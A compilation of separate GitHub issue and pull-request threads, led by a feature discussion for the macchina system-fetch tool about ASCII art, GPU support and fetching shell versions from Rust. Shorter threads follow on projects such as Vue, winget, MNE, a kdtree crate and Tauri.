it is possible to detect the number of readouts and display a smaller ASCII image if only several readouts are visible.

That would be excellent, as I (and I'm sure others) really only want about 5 lines or output. Again, it would just be nice to have that option.

The other suggestions already do exist, our second theme, "Helium" has three letter keys, and square bars.

Yes, but there is currently no possible way to achieve three letter keys with round bars.

Moving bars is not feasible as the point of Macchina is to be a static program that you call, and it writes your information to the terminal as fast as it can, so no while loops.

I wasn't suggesting moving bars. Similar to the CPU Usage bar, it just prints out the current state. Same could be done for Swap usage, and cpu/gpu temps.

Storage, backlight and volume information might come in the future, and since they are not yet implemented, each of them needs to be added as a fetchable readout by libmacchina, so Macchina can display it.

Sounds good. I look forward to hopefully seeing these new features! 👍

I wasn't suggesting moving bars necessarily. Similar to the CPU Usage bar, it just prints out the current state. Same could be done for Swap usage, and cpu/gpu temps.

Yeah there was a typo in your message that I should've understood as "more" instead of "move", my apologies.

How about an option for smaller ascii art as seen in ufetch and pfetch ?

Ask and you shall get, here's a sneak-peek :^)

UPDATE
I'm working on extending the capabilities of CPU Usage, for now this is exclusive to Linux and NetBSD thanks to theproc filesystem. CPU Usage will be able to display the amount of processes of the host's machine.
I'm not planning to make a readout for processes, and I'm thinking of appending them to the CPU% (Load), and they are only visible when bars are disabled.
The amount of threads is also exposed by sysinfo but this is Linux only and will land in the future.

Smaller ASCII art is activated when the amount of readouts is less or equal to 6

Excellent! I still think a flag as an option to chose small ascii might be nice.

I made a small NetBSD logo, what do you think?

That cool, I like it! Can the flag be orange/red and the flagpole be grey/black (depending on your theme)
Also, Any thoughts on the cpu/gpu & temp bars?

Anything new about gpu hardware support?

Anything new about gpu hardware support?

I've already started implementing GPU support as a separate crate but I haven't gotten around to actually working on it and completing it, it's not even close to being complete to be frank. But as soon as I have some free time to focus on it it'll be added.

@Staubgeborener A library I'm working, pci_fetch can fetch PCI devices' information, among them GPUs, all that's left to do is have libmacchina integrate this feature and macchina will have GPU support in no time :)

Maybe there could be also switch to show versions of shell, windows manager and terminal? I would like to have output similar to neofetch (also nice that it's showing Ubuntu logo):

Hey @matrixik

Maybe there could be also switch to show versions of shell, windows manager and terminal

There's really no good way to do this, shell versions like BASH_VERSION and ZSH_VERSION aren't exposed to rust programs, as macchina is not a shell script.

I would like to have output similar to neofetch

Macchina doesn't have this feature currently, but you could always import your own ascii art, ANSI color codes work too so you could have it exactly like Neofetch's.

Sorry, I wrote it in confusing way, by "similar output" I mean similar data with version numbers, not similar graphic representation (I don't really care about this).

There's really no good way to do this, shell versions like BASH_VERSION and ZSH_VERSION aren't exposed to rust programs, as macchina is not a shell script.

I don't get this part. You run it from shell so you should have access to all shell environment variables (from any language). No?
I don't know how are you detecting different programs but maybe it would be possible to locate they binary and run it with --version and then display it to user if no error (like no existing flag) is reported.

I don't get this part. You run it from shell so you should have access to all shell environment variables (from any language). No?
This would work if rust programs exposed the shell as any shell script, but unfortunately, they're not.

I don't know how are you detecting different programs but maybe it would be possible to locate they binary and run it with --version and then display it to user if no error (like no existing flag) is reported.

We don't need to care about where the shell binary is located, the issue stems from the fact that different shells write different things when invoked with --version, some keep it clean, and some don't. Which means a different implementation to fetch the version for every shell out there (or at least the widely used ones).
So to sum it up, Rust programs don't have access to a lot of environment variables like shell programs do.

I'll give you an example:

What macchina can do is run zsh --version for example.
It can't get access value of $ZSH_VERSION, as far as it thinks, $ZSH_VERSION isn't an environment variable due to the restrictions of the language.

Example
zsh
zsh --version output: zsh 5.8 (x86_64-pc-linux-gnu)
ZSH_VERSION value: 5.8
bash
bash --version output:
GNU bash, version 5.1.8(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

BASH_VERSION value: 5.1.8(1)-release

Thank you for response. I did not know that Rust have such problems with environment variables.

can we display the current shell instead of the default shell? or add a new variable called Current Shell? this would come in handy when switching between multiple shells. In neofetch to this functionality, i just overwrite the SHELL variable with the current shell and it works fine.

@thorion3006 Noted :)

@thorion3006 see e3d5b969217784f4ee4c201f03ba2bf2d7d676cb, it's planned to land as a configuration option (and command line flag too).

thanks :-)

You could give it a run if you'd like :)

There's really no good way to do this, shell versions like BASH_VERSION and ZSH_VERSION aren't exposed to rust programs, as macchina is not a shell script

@grtcdr, the fact that Rust cannot access shell's version from std::env is not a problem, you can just run a command like bash -c echo $BASH_VERSION and collect its output. Here i wrote a function for this, it's not very polished but it just shows the fact that it's possible
fn get_shell_version(shell: &str) -> Option<String> {
    let output = std::process::Command::new(shell)
        .arg("-c")
        .arg(format!("echo -n ${}_VERSION", shell.to_uppercase()))
        .output();
    match output {
        Ok(output) => {
            let stdout = String::from_utf8_lossy(&output.stdout).to_string();

            if stdout.is_empty() {
                None
            } else {
                Some(stdout)
            }
        }
        Err(_) => None
    }
}

I tested it with bash, fish and zsh, it works as expected, returning data in format like this:
5.1.8(1)-release
3.2.2
5.8

for these shells, respectively

@grtcdr  sure. This is what i used to test those 3 shells
fn main() {
    println!("{}", get_shell_version("bash").unwrap());
    println!("{}", get_shell_version("fish").unwrap());
    println!("{}", get_shell_version("zsh").unwrap());
}

fn get_shell_version(shell: &str) -> Option<String> {
    let output = std::process::Command::new(shell)
        .arg("-c")
        .arg(format!("echo -n ${}_VERSION", shell.to_uppercase()))
        .output();
    match output {
        Ok(output) => {
            let stdout = String::from_utf8_lossy(&output.stdout).to_string();

            if stdout.is_empty() {
                None
            } else {
                Some(stdout)
            }
        }
        Err(_) => None
    }
}

Not really sure if this is exactly what you assumed by "benchmark", so if it's not what you wanted, please tell me what benchmark i should write

By benchmark he means make a cargo build --release and then benchmark  the resulting binary with something like hyperfine

Yeah, it would also help if you replicated our current profile.release so we get a reading that's as accurate for our use-case as possible.

I replicated your profile.release and ran hyperfine target/release/tst for the code i posted above (Testing 3 shells each time). Results:
Benchmark #1: target/release/tst
  Time (mean ± σ):     374.8 ms ±   5.7 ms    [User: 241.6 ms, System: 126.4 ms]
  Range (min … max):   365.5 ms … 383.8 ms    10 runs

on Intel Core 2 3.00Ghz

My bad, didn't think this may be so bad for performance

I also tried to implement this a while ago but stopped since the performance was not great.
Maybe an approach using SHELL --version might be better but not all of them have similar info.

 You get the version somewhere in a paragraph, so it's not exactly made for parsing.


Adds tag env sustainability website repo

cc @leonardpahlke @nate-double-u
Creates 2 teams

tag-env-sustainability
cncf-tech-docs

Adds a new GitHub repo

tag-env-sustainability-website

Please review for correctness and completeness.

LGTM


Reya Network deployment

Chain Name
Reya Network
Chain ID
1729
RPC URL
https://rpc.reya.network
Block Explorer URL
https://explorer.reya.network/
Deployment Funds
Yes

Done, thanks!


Test whether a property is configurable before defining it as reactive

Fixes vuejs/vue#2393

Thanks, after some thinking, I think we can just use convertAllProperties behavior as the default and remove that config altogether.

Do you want me to make that change in this PR?

Yes please.

Done :)

Great job, thanks! :+1:


Serving Representation [phab:T9]

Created by schroederc at 2015-01-29 15:55:09:
Surfacing an xrefs service based directly on a GraphStore is very low-performance.  Kythe needs a separate, faster representation of its data for serving.

revision #221
#206
#247
#202

blocking #216


Upgrade node 20

As long as it's an LTS, then yeah, that's a great idea. Have you looked at jumping straight to 22, which will become LTS?

@eliihen backstage currently only supports node 18 and 20 :shrug:  https://github.com/backstage/backstage/blob/master/package.json


New version: Spotify.Spotify version <IP_ADDRESS>2.g949d5fd0

Result: Installation Successful

Manifest
Add/Remove Programs

Name
Spotify

Version
<IP_ADDRESS>2.g949d5fd0

Publisher
Spotify AB

ProductCode

Auto-updated by vedantmgoyal2009/winget-pkgs-automation in workflow run 5738
Microsoft Reviewers: Open in CodeFlow

@vedantmgoyal2009 would it be possible for you to pick the arm64 part to your PR as well?


add tea usage guide

xc is now installable via tea
https://github.com/teaxyz/pantry.extra/pull/116/files

teaxyz/pantry.extra#116


Ability to specify Github Enterprise url

Hi, thanks for the PR but honestly Couscous templates are meant to be forked and customized, which is what you can do to achieve that. For example what if someone then wants to put a URL that links to a custom website and not GitHub? We don't necessarily want options for everything, it's really a template to get started easily.


initial config refactor and subsystem support

Description
Added support for subsystem-specific configurations in the fsoc config file. This required significant refactoring (which was overdue) in the configuration, creating a new config package. Also, reworked the config list and config get display formatting, now list -o detail output matches the output of get. Finally, config list now displays the profiles in alphabetical order.
Type of Change

[ ] Bug Fix
[X] New Feature
[ ] Breaking Change
[X] Refactor
[ ] Documentation
[ ] Other (please describe)

Checklist

[X] I have read the contributing guidelines
[X] Existing issues have been referenced (where applicable)
[X] I have verified this change is not present in other open pull requests
[X] Functionality is documented
[X] All code style checks pass
[ ] New code contribution is covered by automated tests
[X] All new and existing tests pass

Codecov Report

Merging #208 (8c04e2f) into main (6ecebbb) will decrease coverage by 0.90%.
Report is 1 commits behind head on main.
The diff coverage is 10.86%.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
@@            Coverage Diff             @@
##             main     #208      +/-   ##
==========================================
- Coverage   29.44%   28.55%   -0.90%
==========================================
  Files          30       35       +5
  Lines        3960     4087     +127
==========================================
+ Hits         1166     1167       +1
- Misses       2707     2833     +126
  Partials       87       87

Files Changed
Coverage Δ

cmd/config/config.go
0.00% <0.00%> (-26.91%)
:arrow_down:

cmd/config/delete.go
0.00% <0.00%> (ø)

cmd/config/get.go
0.00% <0.00%> (ø)

cmd/config/list.go
0.00% <0.00%> (ø)

cmd/config/set-fields.go
0.00% <0.00%> (ø)

cmd/config/set.go
5.71% <0.00%> (+0.38%)
:arrow_up:

cmd/config/use.go
0.00% <0.00%> (ø)

cmd/version/update.go
50.00% <ø> (ø)

cmd/version/version.go
11.11% <ø> (ø)

config/default.go
0.00% <0.00%> (ø)

... and 11 more


WFLY-17611 Leverage stream-based PersistentResourceXMLDescription builder methods from WFCORE-6218.

https://issues.redhat.com/browse/WFLY-17611

/retest

Rebased against main.


A few minor fixes to review

Buried within this merge request seemingly lie a few minor fixes worth checking out.

The good parts integrated with 96a7e6e8e21d1730ee31fb45589234fc02e0d7d3 in gitblit/gitblit#1324.


AttributeError: 'EpochsArray' object has no attribute 'drop_epochs'

I am trying to remove epoch from epochsArray object. but i am getting AttributeError: 'EpochsArray' object has no attribute 'drop_epochs'.
Here is the plot image..
http://prntscr.com/nupz7m
Or is there any way to remove segment from above image by marking them bad

it seems indeed a bug. Can you share a snippet to replicate the full problem
using the sample data?

ok, i am not perfect in python. here i try to upload the sample data and file
https://github.com/talhaanwarch/EEG-Shizophrenia

I cannot replicate the problem with:
import mne

from mne.datasets import sample

reject = dict(grad=4000e-13, mag=4e-12, eog=150e-6)

data_path = sample.data_path()
raw_fname = data_path + '/MEG/sample/sample_audvis_filt-0-40_raw.fif'
raw = mne.io.read_raw_fif(raw_fname)

events = mne.find_events(raw, stim_channel='STI 014')
event_id = {"auditory/left": 1}
tmin = -0.2
tmax = 0.5
baseline = (None, 0)
picks_meg = mne.pick_types(raw.info, meg=True, eeg=False, eog=True,
                           stim=False, exclude='bads')
epochs = mne.Epochs(raw, events, event_id, tmin, tmax, proj=True,
                    picks=picks_meg, baseline=baseline, reject=None)
print(epochs)

epochs = mne.EpochsArray(epochs.get_data(), epochs.info, tmin=tmin)
epochs.plot()

even with an EpochsArray  I can remove interactively epochs etc.

Not sure if this was followed up - but instead of drop_epoch(indices) it should just be drop(idices). That's how it's defined in the original function.


Add a within command to find all points within a search radius

Addresses #7
I called it within, though it could be called something different.
My tests weren't terribly thorough - not sure if midpoint splitting would produce false positives on a linear distribution of points. Hopefully you can tell what's happening.
I also cargo fmt ted everything.
My within can take a generic distance function rather than the euclidean currently in use. I think this would be nice to implement everywhere in the crate though it would be a breaking change.
Yours is also the fastest I've tested so far, so kudos 🎉.

Hello @jkelleyrtp !
Thanks for PR, Its been a while since I've looked at this repository!
Thank you for your kind words about the speed - the implementation is really simple as you are aware now.
In the end I ended up not using this implementation because somehow cgal implementation turned out to be faster in my case, even though my test would show otherwise....
Code looks good to me, I think it should work as intended however I have 2 requests,

Would it be possible to split this PR into 2 commits, 1 for making the code changes, and one for the rusfmt?
Back in the day when I wrote this, rustfmt was very unstable! so thanks for formatting this.
regarding unit test that you have added, I think it would be great to rework it into property based testing using quickcheck.
a) Generate a number of nodes to put into a tree - using quick check,
b) do a 'within' search for args given by quick check.
c) compare result of within search against a linear search against the elements of a) point. they should be the same between linear and within check.

Probably all the unit tests could have been rewritten into that. ( but thats a separate work!)
If you are not interested in 2) tell me and I will proceed to merge the PR as is.

I'd love to know what your application is and see if there's any optimization to be had to make the library even faster.
And yeah, good suggestions, I'll rework the tests a bit and separate the rust fmt out. The implementation is simple enough where we can try to parallelize some obvious stuff and maybe trim the overhead for rebalancing/rebuilding the tree.

Sorry for late response, @jkelleyrtp

I'd love to know what your application is and see if there's any optimization to be had to make the library even faster.
What was my application - thats kind of you to say so, let me try to describe it.. What we were doing, is we were generating a FEM Meshes in both 2d and 3d spaces, like this:

As you in this problem there are places where there is huge density of points - usually around the edges,  and some that dont have any density at all. I used KDTree for looking of nodes, that was basically just a first result I had when I first started on the problem so I picked KD and never switched to anything else as this was giving good enough resulsts.

And yeah, good suggestions, I'll rework the tests a bit and separate the rust fmt out. The implementation is simple enough where we can try to parallelize some obvious stuff and maybe trim the overhead for rebalancing/rebuilding the tree.
Parallelizatio sounds good. I see phrase 'parallel kdtree' returns result so seems like its possible angle. Rust now has async capabilities, I wanted to try them out in some project maybe here would be good idea. https://github.com/fulara/kdtree-rust/issues/17

rebuilding the tree
I wonder if its possible to aproach rebuild in much better way, in the end in my solution i ended up with creating a helper buffer for new nodes, and i was scanning that linearly, only after helper buffer has grown to a certain amount I've rebuild the tree, thats given me acceptable results so I didnt bother investigating rebuild.


[bug] Linux resize event not working.

Describe the bug
window.addEventListener('resize', () => {
    console.log("resize...")
})

Reproduction
No response
Expected behavior
No response
Platform and versions
Environment
  › OS: Arch Linux Unknown X64
  › Node.js: 16.19.1
  › npm: 8.19.3
  › pnpm: 7.29.1
  › yarn: 1.22.19
  › rustup: 1.25.2
  › rustc: 1.68.2
  › cargo: 1.68.2
  › Rust toolchain: stable-x86_64-unknown-linux-gnu

- KDE

Stack trace
No response
Additional context
No response

did you try using https://tauri.app/v1/api/js/window#onresized ?

Just tried window.addEventListener('resize') on manjaro with KDE and it worked just fine